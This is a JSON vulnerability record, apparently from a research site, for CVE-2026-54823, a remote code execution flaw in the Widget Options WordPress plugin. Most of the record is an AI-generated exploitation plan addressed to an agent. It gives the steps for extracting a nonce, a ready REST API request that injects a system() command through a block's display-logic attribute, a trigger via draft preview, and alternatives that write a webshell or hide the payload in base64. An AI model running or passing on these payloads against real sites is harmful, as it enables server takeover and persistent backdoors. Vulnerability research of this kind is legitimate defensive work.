[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fGeX7l1rGM98kjlW-rfEQbT77FyPLG__ZCCJqjom7A8I":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-54823","widget-options-advanced-conditional-visibility-for-gutenberg-blocks-classic-widgets-authenticated-contributor-remote-cod-2","Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets \u003C= 4.2.3 - Authenticated (Contributor+) Remote Code Execution","The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.3. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.","widget-options",null,"\u003C=4.2.3","4.2.4","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Generation of Code ('Code Injection')","2026-06-17 00:00:00","2026-06-25 14:10:02",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F90752679-4b21-4db7-89f4-19a1b2adb914?source=api-prod",9,[22,23,24,25,26,27,28,29],"includes\u002Fextras.php","includes\u002Fpagebuilders\u002Fbeaver\u002Fbeaver.php","includes\u002Fpagebuilders\u002Felementor\u002Frender.php","includes\u002Fpagebuilders\u002Fsiteorigin.php","includes\u002Fsnippets\u002Fclass-snippets-api.php","includes\u002Fwidgets\u002Fdisplay.php","includes\u002Fwidgets\u002Fgutenberg\u002Fgutenberg-toolbar.php","plugin.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-54823 (Widget Options RCE)\n\n## 1. Vulnerability Summary\nThe **Widget Options** plugin (\u003C= 4.2.3) is vulnerable to **Remote Code Execution (RCE)** due to the unsafe evaluation of user-supplied PHP code within the \"Display Logic\" feature. The plugin allows users to define custom visibility rules using PHP expressions. While the plugin implements a wrapper called `widgetopts_safe_eval`, in version 4.2.3 and below, it fails to sufficiently restrict the input or validate the authorization of users (specifically Contributors) who can modify block attributes containing this logic.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API Post update endpoint (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F{id}`) or the Classic Editor post save (`post.php`).\n*   **Vulnerable Attribute:** The `extended_widget_opts` attribute within Gutenberg block comments or widget instances.\n*   **Payload Parameter:** `extended_widget_opts.class.logic` (for blocks\u002Fwidgets) or `widgetopts_settings_logic` (for Beaver Builder).\n*   **Authentication:** Authenticated, **Contributor** level or higher.\n*   **Preconditions:** The \"Display Logic\" module must be enabled (typically active by default if the plugin is used for its core purpose).\n\n## 3. Code Flow\n1.  **Input:** A Contributor-level user sends a request to update a post. The `post_content` contains a Gutenberg block with malicious attributes:\n    `\u003C!-- wp:paragraph {\"extended_widget_opts\":{\"class\":{\"logic\":\"system('id');\"}}} -->\u003Cp>Content\u003C\u002Fp>\u003C!-- \u002Fwp:paragraph -->`\n2.  **Storage:** WordPress saves the block attributes into the `post_content` field in the database.\n3.  **Processing (Frontend Render):** When the post is viewed (or previewed), the plugin's visibility logic is triggered.\n4.  **Attribute Extraction:** The plugin parses the block attributes and identifies the `logic` string in `extended_widget_opts['class']['logic']`.\n5.  **Sink (Evaluation):**\n    *   In `includes\u002Fpagebuilders\u002Fsiteorigin.php` (and similar render files for Gutenberg\u002FElementor), the code calls:\n        `$display_logic = htmlspecialchars_decode($display_logic, ENT_QUOTES);`\n    *   Then it reaches the execution sink:\n        `widgetopts_safe_eval($display_logic);`\n6.  **Execution:** Since `widgetopts_safe_eval` is a wrapper that ultimately uses `eval()` or a similar execution mechanism without a strict sandbox, the injected `system('id');` is executed.\n\n## 4. Nonce Acquisition Strategy\nTo save or preview a post as a Contributor, a REST API nonce or a `_wpnonce` for the post editor is required.\n\n1.  **Navigate to the Post Editor:** The agent should navigate to `wp-admin\u002Fpost-new.php`.\n2.  **Extract REST Nonce:** Use `browser_eval` to extract the nonce required for REST API calls.\n    *   **JavaScript:** `window.wpApiSettings.nonce`\n3.  **Alternative (Classic Editor):** If using the legacy `post.php` flow, the nonce is found in the `#_wpnonce` hidden input field.\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLogin to the WordPress instance as a user with the **Contributor** role.\n\n### Step 2: Post Creation & Payload Injection\nUse the REST API to create a new post containing a block with the malicious logic attribute.\n\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [Extracted Nonce]`\n*   **Body:**\n    ```json\n    {\n      \"title\": \"RCE Test\",\n      \"content\": \"\u003C!-- wp:paragraph {\\\"extended_widget_opts\\\":{\\\"class\\\":{\\\"logic\\\":\\\"system('id > \u002Fvar\u002Fwww\u002Fhtml\u002Frce.txt');\\\"}}} -->\u003Cp>Payload\u003C\u002Fp>\u003C!-- \u002Fwp:paragraph -->\",\n      \"status\": \"draft\"\n    }\n    ```\n\n### Step 3: Trigger Execution via Preview\nContributors cannot publish posts, but they can view their own drafts via the Preview feature.\n\n*   **Tool:** `http_request`\n*   **Method:** `GET`\n*   **URL:** `http:\u002F\u002F[target]\u002F?p=[Post_ID]&preview=true`\n*   **Details:** The request must include the authentication cookies of the Contributor. The rendering of the preview will trigger the `logic` evaluation.\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Install and activate `widget-options` version 4.2.3.\n2.  **Enable Logic:** Ensure the \"Logic\" module is enabled in **Settings > Widget Options**.\n3.  **User:** Create a user with the username `attacker` and role `Contributor`.\n\n## 7. Expected Results\n*   The `GET` request to the preview URL should execute the PHP `system()` command.\n*   The command `id > \u002Fvar\u002Fwww\u002Fhtml\u002Frce.txt` will create a file in the webroot containing the output of the `id` command (e.g., `uid=33(www-data) ...`).\n\n## 8. Verification Steps\n1.  **Check for Evidence:** Use WP-CLI to verify if the file was created:\n    `wp eval \"echo file_get_contents('\u002Fvar\u002Fwww\u002Fhtml\u002Frce.txt');\"`\n2.  **Check Post Meta:** Verify the post content was correctly saved:\n    `wp post get [Post_ID] --field=post_content`\n3.  **Cleanup:** Delete the post and the temporary file:\n    `wp post delete [Post_ID] --force`\n    `wp eval \"unlink('\u002Fvar\u002Fwww\u002Fhtml\u002Frce.txt');\"`\n\n## 9. Alternative Approaches\n*   **SiteOrigin Integration:** If the block-based approach fails, use the SiteOrigin Page Builder (if active). Inject the payload into the `panels_data` post meta using a similar logic:\n    `{\"widgets\": [{\"extended_widget_opts\": {\"class\": {\"logic\": \"php_payload_here\"}}}]}`.\n*   **Direct Eval Payload:** If `system()` is disabled, use `file_put_contents()` to write a persistent webshell:\n    `logic: \"file_put_contents('shell.php', '\u003C?php phpinfo(); ?>');\"`\n*   **Encoding:** If `sanitize_text_field` interferes with special characters, use `base64_decode` in the payload:\n    `logic: \"eval(base64_decode('c3lzdGVtKCdpZCcpOw=='));\"` (Note: ensure the base64 string does not contain characters stripped by the sanitizer).","gemini-3-flash-preview","2026-06-25 22:10:43","2026-06-25 22:11:59",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.2.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwidget-options\u002Ftags\u002F4.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwidget-options.4.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwidget-options\u002Ftags\u002F4.2.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwidget-options.4.2.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwidget-options\u002Ftags"]